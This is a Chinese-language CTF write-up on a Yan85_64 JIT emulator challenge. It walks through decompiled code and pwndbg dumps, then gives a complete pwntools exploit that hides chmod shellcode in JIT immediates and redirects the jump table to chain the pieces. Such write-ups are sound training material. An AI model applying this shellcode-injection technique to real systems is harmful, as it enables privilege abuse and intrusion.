| _QWORD *__fastcall helper_mov_imm(__int64 a1, _BYTE *a2, __int64 a3, __int64 a4) { _QWORD *v5; switch ( a3 ) { case 64LL: *a2 = 73; a2[1] = -70; v5 = a2 + 2; break; case 2LL: ... default: crash(a1, "Unknown register in emit_imm"); } *v5 = a4; return v5 + 1; }
|
还是gdb吧,简单而直接。简单调试就能够发现v11
指向的是addr
。 即s[0x2000]
保存着addr
,也就是mmap
申请内存的起始地址。经过v1 = helper_mov_imm(a1, v11, 64LL, 0LL);
后,映射内存的状态:
1 2 3 4 5
| pwndbg> x/x 0x1337000 0x1337000: 0x0000ba49 pwndbg> tele 0x1337000 00:0000│ 0x1337000 ◂— movabs r10, 0 /* 0xba49 */ 01:0008│ 0x1337008 ◂— 0
|
执行初始化后的映射内存状态:
根据最后JIT的结果,发现寄存器abcdsf i
会被一一对应于r10/r11/r12/r13/r14/r15 /r9
寄存器。是因为机器指令的对应关系。
进入循环时,v12指向了0x1337046
。先执行:
1
| *(_QWORD *)(a1 + 8 * (i + 1024LL) + 8) = &v12[-*(_QWORD *)(a1 + 0x2000)];
|
s+0x2000
保存着0x1337000
,也就是映射内存的起始地址。这里将当前v12
基于0x137000
的偏移地址存入s+0x2008
中,并且每一次循环都依次存入后续位置。紧接着执行:
1 2 3 4
| *v12 = 73; v13 = v12 + 1; *v13++ = -57; *v13++ = -63;
|
也是写入一个指令:
同样看一下JIT的结果:
机器指令对应的汇编为mov r9, 0
。
然后看调用yan85_64
解释器的参数构成:
1 2 3 4 5 6 7 8 9 10
| v12 = (_BYTE *)emit_instruction( a1, (int)v13 + 4, i, a1, v7, v8, *(_QWORD *)(a1 + 24LL * i), *(_QWORD *)(a1 + 24LL * i + 8), *(_QWORD *)(a1 + 24LL * i + 16));
|
最后三个参数是用户输入的yancode
,三个8字节数据(此前yan85
是三个1字节数据)。
查看emit_instruction()
中是按照哪个参数进行解析的:
1 2
| if ( (a9 & 4) != 0 ) v10 = (_BYTE *)emit_imm(a1, (_DWORD)a2, (_DWORD)a2, a4, a5, a6, a7, a8);
|
opcode是a9
,也就是每第三个8字节数据。具体的函数就不逐一分析了。做个汇总:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
|
最后有一个关键:
1
| ((void (*)(void))addr)();
|
**这行代码会跳转到地址0x1337000
并开始执行那里的机器码。**也就是说,我们通过yancode
操作并生成0x137000
处的机器码,并且最后会执行这些机器码。
关于Yan85_64
说明:
它拥有自己的架构,包含各种数据段。它的核心是根据yancode
操纵mmap生成的内存映射段0x1337000~0x1338000
。其模拟寄存器abcdsif
对应真实程序寄存器r10,r11,r12,r13,r14,r9,r15
。
同Yan85
类似,它的指令拥有着自己的数据段。我们能操纵的只有偏移地址!
imm
指令中,将立即数存入模拟寄存器中。stk
指令中,用一段栈空间模拟出一个Yan85栈区。
stm
指令中,将某个寄存器的值,存入到Yan85数据区,可以用一个寄存器来控制偏移。
jmp
指令中,模拟RIP
寄存器,在JMP
指令偏移区中存储着0x1337000
段机器指令的偏移地址。但我们给予jmp
指令的参数是一个寄存器,这个寄存器的值是JMP
指令偏移区的索引。例如,要跳转到0x1337000
段的第一条指令,则给jmp指令的寄存器中的值为0,第二条指令则为1,以此类推…
关于Yan85_64
的拥有的段:yancode
段,stack
段,data
段,jmp
偏移段。这几个段的偏移地址是不变的。因此段与段之间的距离是固定的。
通过gdb能够轻易得出data
段和jmp
偏移段的距离0x808
。我们能够操纵8
字节数据作为偏移量,因此可以轻易使用stm
指令在stack/data/jmp
段内写入任意数据。但遗憾的是,本题程序的stack
不可执行。
可以将shellcode分段存储于0x1337000
内,然后通过stm
指令控制jmp
段,再通过jmp
指令跳转到0x1337000
段内构造的部分shellcode
,每部分shellcode
执行结束后都有一个jmp
指令连接下一部分shellcode
。以间接的形式执行shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
def pack(a7, a8, a9): return p64(a7) + p64(a8) + p64(a9)
p = process("/challenge/toddlerone-level-11-1", close_fds=False)
reg = {'a': 1, 'b': 16, 'c': 32, 'd': 8, 's': 2, 'i': 64, 'f': 4} opcode = {'imm': 0x20, 'add': 0x02, 'stk': 0x01, 'stm': 0x40, 'ldm': 0x10, 'cmp': 0x04, 'jmp': 0x08, 'sys': 0x80}
shellcode = asm(shellcraft.chmod("f", 0o777)) shellcode = [shellcode[0:5], shellcode[5:11], shellcode[11:]]
stm_to_jmp_offset = 0x808 shellcode_offset = [0x139+5, 0x182+4, 0x1cb+5] offset = 0x900 yancode = b''
for i in range(len(shellcode_offset)): offset += 8 yancode += pack(reg['a'], offset, opcode['imm']) yancode += pack(reg['b'], shellcode_offset[i], opcode['imm']) yancode += pack(reg['a'], reg['b'], opcode['stm'])
shellcode_offset_index = 32 yancode += pack(reg['i'], shellcode_offset_index, opcode['imm']) for i in range(len(shellcode)): yancode += pack(reg['a'], u64(shellcode[i].rjust(8, b'\x00')), opcode['imm']) shellcode_offset_index += 1 yancode += pack(reg['i'], shellcode_offset_index, opcode['imm'])
p.send(yancode) p.interactive()
|